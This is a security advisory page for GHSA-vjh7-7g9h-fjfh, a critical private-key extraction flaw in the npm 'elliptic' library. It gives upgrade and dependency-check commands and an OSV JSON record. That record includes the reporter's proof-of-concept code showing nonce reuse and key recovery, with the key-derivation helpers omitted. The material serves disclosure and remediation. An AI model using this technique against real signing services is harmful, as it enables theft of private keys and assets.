GHSA-vjh7-7g9h-fjfh: Elliptic Elliptic's Private Key Extraction Vulnerability
CRITICALGHSA-vjh7-7g9h-fjfh is a CRITICAL elliptic's private key extraction vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Elliptic libraries in the npm ecosystem. The issue involves elliptic's private key extraction in ecdsa upon signing a malformed input (e.g. a string). Remediation is available by upgrading affected packages to version 6.6.1.
GHSA-vjh7-7g9h-fjfh at a Glance
How to Fix GHSA-vjh7-7g9h-fjfh
To remediate this vulnerability, upgrade all affected Elliptic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install elliptic@6.6.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls elliptic
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-vjh7-7g9h-fjfh, inspect your project dependencies using npm:
npm ls elliptic
Analyze the terminal output to locate any version of Elliptic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.6.1), your application is affected.
Note: The npm ls elliptic command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Elliptic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-vjh7-7g9h-fjfh Affected Elliptic Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
elliptic
|
npm |
< 6.6.1
|
6.6.1
|
References
Frequently Asked Questions
What is GHSA-vjh7-7g9h-fjfh?
Which Elliptic versions are affected?
What version fixes GHSA-vjh7-7g9h-fjfh?
Is elliptic affected?
What CWE is associated with GHSA-vjh7-7g9h-fjfh?
How can I check npm dependencies for GHSA-vjh7-7g9h-fjfh?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vjh7-7g9h-fjfh",
"modified" : "2025-02-12T19:47:53Z",
"published" : "2025-02-12T19:47:52Z",
"aliases" : [ ],
"summary" : "Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)",
"details" : "### Summary\n\nPrivate key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input\n\nNote that `elliptic` by design accepts hex strings as one of the possible input types\n\n### Details\n\nIn this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107\n\n`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.\n\nMeaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures\n\nSuch a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction\n\nWhile signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key\n\nAlso, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain\n\n### PoC\n\n#### `k` reuse example\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'ed25519' // or any other curve, e.g. secp256k1\nconst ec = new EC(curve)\nconst prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`\nconst sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones\nconst sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form\nconst sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`\nconsole.log({ sig0, sig1, sig2 })\n```\n\n#### Full attack\n\nThis doesn't include code for generation/recovery on a purpose (bit it's rather trivial)\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'secp256k1' // or any other curve, e.g. ed25519\nconst ec = new EC(curve)\n\n// Any message, e.g. previously known signature\nconst msg0 = crypto.getRandomValues(new Uint8Array(32))\nconst sig0 = ec.sign(msg0, privateKey)\n\n// Attack\nconst msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types\nconst sig1 = ec.sign(msg1, privateKey)\n\nconst something = extract(msg0, sig0, sig1, curve)\n\nconsole.log('Curve:', curve)\nconsole.log('Typeof:', typeof msg1)\nconsole.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)\nconst rnd = crypto.getRandomValues(new Uint8Array(32))\nconst st = (x) => JSON.stringify(x)\nconsole.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))\nconsole.log('Orig key:', Buffer.from(privateKey).toString('hex'))\nconsole.log('Restored:', something)\n```\n\nOutput:\n```console\nCurve: secp256k1\nTypeof: string\nKeys equal? true\nKeys equivalent? true\nOrig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\nRestored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\n```\n\nSimilar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:\n```console\nCurve: ed25519\nTypeof: string\nKeys equal? false\nKeys equivalent? true\nOrig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189\nRestored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6\n```\n`restored` is equal to `orig` mod `N`.\n\n### Impact\n\nFull private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "elliptic"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.6.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 6.6.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh"
}, {
"type" : "WEB",
"url" : "https://github.com/indutny/elliptic/commit/04cb6f54ce552b3ebde6be06d6050419e1c7333e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/indutny/elliptic"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-02-12T19:47:52Z",
"nvd_published_at" : null
}
}